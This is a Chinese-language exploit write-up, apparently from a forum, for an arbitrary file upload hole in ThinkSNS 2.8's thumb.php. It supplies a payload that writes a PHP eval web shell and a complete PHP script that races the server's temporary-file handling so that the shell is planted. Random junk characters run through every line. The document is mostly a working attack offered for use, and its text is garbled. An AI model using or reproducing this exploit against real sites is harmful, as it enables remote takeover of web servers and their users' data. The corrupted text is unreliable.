漏洞版本
5 f+ b6 Z& Z& O8 H% r存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
# U7 q! ?. a% _2 A漏洞文件/ F6 R5 V5 L9 n+ P s
存在漏洞的文件为:thumb.php: q3 L3 k. P: h/ G% Z- B; }
作者:韦鲲鹏, t! O0 H; i) i, _# I
1、 准备如下PHP文件并上传到服务器(自己的)。( O. O d! t) k; Z
文件内容如下:
, J8 g- |3 u2 t/ G5 ?0 B7 t<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
( w: f: \* q4 R+ I$ L2、 计算出临时的文件名:3 T" j! _+ v( `+ ]% r
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
" w5 r) s- M! X' u. O$ @) u. l+ t4 F& S" {8 T1 ]7 ?6 R% x0 o% c
3、 上传临时文件。. z6 e* z2 _0 D+ p+ D- M! t
4、 访问临时文件。
8 J+ K# q' {! G但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)4 s0 O# X. S* b6 o8 W$ X
Exploit文件内容如下:(这个我就不详细解释了)
, g- y( T. O& _0 P ^7 S<?php+ u8 q5 ^" d& L) o1 l5 R$ K2 r
error_reporting(0);
, M6 W% ]0 J) T& x( H3 Yset_time_limit(0);9 O* z8 e( ?! G7 z0 u: a) P
ini_set(“default_socket_timeout”, 5);# h" {4 n. q+ W. o- W( L8 Q
function http_send($host, $port, $headers) {4 `5 H F/ t: \$ @
$fp = fsockopen($host, $port);
: g: C3 l. F# o( D7 C" aif (!$fp) die(‘Connection -> fail’);: X4 I. x+ X4 R/ O4 Z( }& Y
fputs($fp, $headers);: b% w4 w* f; p9 p1 y4 Y& S
return $fp;+ d3 |7 T% P7 Q2 M3 e4 y/ i
}- N; y8 Z. C7 n. y' n
function http_recv($fp) {
3 q9 _ L i! s$ret=”";
2 H+ F1 _+ O+ ~while (!feof($fp))
1 O5 C! I* V8 u+ Y$ret.= fgets($fp, 1024);6 l# Z* t% D1 n1 n7 s- x
fclose($fp);5 r6 F8 X0 D( a% J
return $ret;
) i1 x7 c' y( j7 i}
& _$ \- J) y) f' Xprint “\n# ThinkSns Arbitrary File Upload #\n”;* j* W: D0 M9 x9 X! S! D( y( k7 n
print “# Discovered by 韦鲲鹏 #\n\n”;* c( r. Z" N$ I9 Z9 X" |3 a4 S
if ($argc < 4) {9 q A) a' y) E- S
print “Usage: php <host> <path> <romote_url>\n”;( W% k: h1 m, m, {% f
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;# ]; f" @7 C7 w) P
die(); A4 |+ S% z: p! t
}! n% [5 M4 m% L6 I/ @
$host = $argv[1];% S( e2 Z& V- g- A( z$ \! U8 W
$path = $argv[2];
# z4 y" y% a9 b* [& B: c$url = $argv[3];) A" P! L9 _: z# V
$i=0; E$ L2 v f; U) v: l, ]
//上传数据包
! s/ L0 W. f' X% ]9 S1 `& d$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
" C3 W/ m: I: y8 `1 K9 h$headers_up .= “Host: “.$host.”\r\n”;
, _5 p$ m. R4 G! T# ^& e$headers_up .= “Connection: close\r\n\r\n”;5 @# w7 g# Z4 o5 G" A( `5 K; _% D
echo $headers_up;. _# y9 q/ O; }6 n3 O
//临时文件访问数据包
t& ?9 D/ Q' p2 g5 O# B; z$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
( v- j5 h" L+ s$ }* G$headers .= “Host: “.$host.”\r\n”;: t4 r7 E0 g- P8 q( _8 j3 T
$headers .= “Connection: close\r\n\r\n”;6 O+ b8 y2 D* j4 y( F
echo $headers;
, p& }7 y- h9 @2 swhile(++$i<10) {
3 v+ B' o# q! b7 Efclose(http_send($host, 80, $headers));
" J p' Q) r/ @0 D}
. n' v. J4 C" I1 Sfclose(http_send($host, 80, $headers_up));* K1 d5 w/ k; k- ^) V8 @- m0 C+ @; E
while(++$i<50) {+ r1 y4 O v2 O) g6 o8 d
fclose(http_send($host, 80, $headers));" n( Q; h( I7 Q
}5 N9 M2 [% E$ Q, M% w/ H
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;8 ~) _0 \6 L) u/ w: V1 F& a/ c
$headers .= “Host: “.$host.”\r\n”;% ]0 B& B/ L3 u7 ?, K$ E. t
$headers .= “Connection: close\r\n\r\n”;# q( l7 X# r6 P" E6 O
$res=http_recv(http_send($host, 80, $headers));
8 A# V6 Z) i' Eif(preg_match(‘/200 OK/’,$res)) {
# x8 h8 x3 W/ z9 F& n( _8 Uprint “Success!\n\n”;
) G* S4 r- M5 x; L5 w, C5 x} else {" {2 B9 R4 s( G% j" k
print “Fail!\n\n”;/ s4 j! U! B6 ~5 [& Z# B( g8 R7 q
}
. o& {& m) s7 d) R$ I?>$ w0 L* N3 u+ p5 p# x- V" M
|